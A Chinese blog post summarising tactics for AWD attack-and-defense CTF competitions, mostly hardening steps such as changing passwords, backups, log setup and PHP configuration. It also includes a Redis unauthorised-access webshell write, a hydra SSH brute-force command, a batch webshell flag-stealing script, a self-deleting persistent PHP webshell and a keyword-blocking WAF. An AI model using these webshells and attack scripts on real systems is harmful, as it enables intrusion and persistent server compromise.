CTF线下赛AWD攻防总结
6 min read
2023/6/28更新:可以参考一下我的最新文章CTF线下赛AWDP总结
记录一下AWD的操作步骤,迄今为止只打过一场线下AWD,环境为内网且为低权限用户无法提权,所以下面的操作记录大部分没用到…记录一下,方便以后其他比赛参考
不过博主后续给别人培训过AWD,也拿到了很好的名次,证明此篇文章并无太大问题,只需要根据竞赛规则进行变更即可。比如:允许自带电脑那么可以提前准备D盾之类的工具或者一些框架的EXP利用脚本等等
AWD最主要的就是手速和随机应变的能力!!! 同时队伍分配一定要合理,密码一定第一时间改掉,修改完配置文件一定记得重启使之生效。
连接SSH
ssh-copy-id -i ~/.ssh/id_rsa.pub root@xx.xx.xx.xx # 公钥登录
ssh root@xx.xx.xx.xx # 密码登录
改密码
ssh
passwd root
网站
登录网站后台(普遍是弱口令,如果不是去数据库翻一下)然后改密码
mysql
SET PASSWORD FOR root@localhost = PASSWORD('123456');
查看进程
netstat -tpnl
ps -df
top
杀死进程
kill -9 PID
killall 名称
如果杀不掉,就查看父进程,杀掉父进程,如果还不行继续往上查 删掉木马文件,重新杀进程
ps -ef | grep 3045
如果进程不允许关闭 可以用 nc
监听一个端口,达到欺骗目的
nc -lv 6666
扫描端口
nmap -sn xx.xx.xx.0/24
nmap -sV -Pn -n -v --open xx.xx.xx.0/24
流量监控
tcpdump tcp -i eth0 -t -s 0 and dst port ! 22 and src net 192.168.1.0/24 -w ./target.cap
tcpdump 是用于捕获网络数据包的命令。
tcp 表示仅捕获 TCP 数据包。
-i eth0 指定要捕获数据包的网络接口为 eth0。
-t 禁用输出的时间戳。
-s 0 设置要捕获的数据包的最大字节大小。0 表示捕获整个数据包。
and dst port ! 22 表示目标端口不是 22(即除了 SSH 以外的所有目标端口)。
and src net 192.168.1.0/24 表示源网络为 192.168.1.0/24。
-w ./target.cap 指定将捕获的数据包写入到当前目录下的 "target.cap" 文件中。
备份网站
tar -zcvf web.tar.gz /var/www/html
备份数据库
mysqldump -uroot -p --databases [dbname] > /tmp/db.sql
find命令
查找行数最短的文件
find ./ -name '*.php' | xargs wc -l | sort -u
查找最近20分钟修改过的文件
find /var/www/html -name *.php -mmin -20
查找危险函数
find . -name '*.php' | xargs grep -n 'eval('
开启日志
日志功能在 /etc/httpd/conf
目录有个 httpd.conf
直接 vi/vim
编辑器打开用 /
搜索 access.log
这俩前面如果有 #
删掉 #
然后保存退出
CustomLog "logs/access.log" combined
CustomLog "logs/access.log" common
access.log
显示 POST
请求传参
# LoadModule dumpio_module modules/mod_dumpio.so
然后重启 Apache
,使修改的配置文件生效
systemctl restart httpd
然后直接 实时
查看 access.log
文件的 新增
内容
tail -f access.log
使用-f参数时不会中断文件监视,需要通过ctrl+c手动结束。
php.ini
一般来说文件都在 /etc/php.ini
在不影响正常功能的情况下 禁用
危险函数
disable_functions = exec,system,shell_exec,popen,passthru,pcntl_exec,phpinfo
预防SQL注入
magic_quotes_gpc = on
修复远程文件包含
allow_url_fopen = off (是否允许打开远程文件)
allow_url_include = off(是否允许include/require远程文件)
切记修改完配置文件重启
service php-fpm restart
PHP读取函数
file_get_contents()
highlight_file()
fopen()
readfile()
fread()
fgetss()
fgets()
parse_ini_file()
show_source()
file()
-----------------------------------
var_dump(scandir('/'));
文件包含修复
直接把它目录限制死在 /var/www/html
int_set("open_basedir","/var/www/html");
Redis未授权
config set dir path
set feiye "\n\n\n<?php eval($_POST['cmd']);?>\n\n\n"
config set dbfilename service.php
save
批量SSH链接
hydra -l root -p dcn -f ip.txt ssh
批量攻击脚本
import requests
import re
url=[]
flag=[]
for i in range(101,151):
url.append("http://10.0.0./" + str(i))
for x in url:
postdata = {'cmd':"system('cat+/var/www/html/flag')"}
sussess = requests.post(x+"shell.php",data=postdata)
if 'flag' in sussess.content:
flag.append(re.search("flag{.*}",sussess.content))
print(flag)
else:
print(x+": failed")
for f in flag:
inflag=requests.get("domain.com/flag.php?token=token&flag="+f)
不死马
<?php
set_time_limit(0);
ignore_user_abort(true);
unlink(__FILE__);
while(true){
file_put_contents('.shell.php', '<?php @eval($_POST[cmd]);');
usleep(100);
}
删除不死马
#!/bin/bash
dire="/var/www/html/.shell.php/"
file="/var/www/html/.shell.php"
rm -rf $file
mkdir $dire
WAF
<?php
$request = array(
'url' => $_SERVER['REQUEST_URI'],
'time' => date('Y-m-d H:i:s')
);
if ($_POST) {
foreach ($_POST as $k => $v) {
$request[$k] = urldecode($v);
waf($v);
}
}
if ($_GET) {
foreach ($_GET as $k => $v) {
waf($v);
}
}
$file = fopen('waf.log', 'a');
fwrite($file, json_encode($request) . "\n");
fclose($file);
function waf($str) {
$filed = 'flag|cat|less|nl|more|tac|tail|base64|system';
if (preg_match("/$filed/im", $str)) {
exit('flag{asdfaqawfawfawf}');
}
}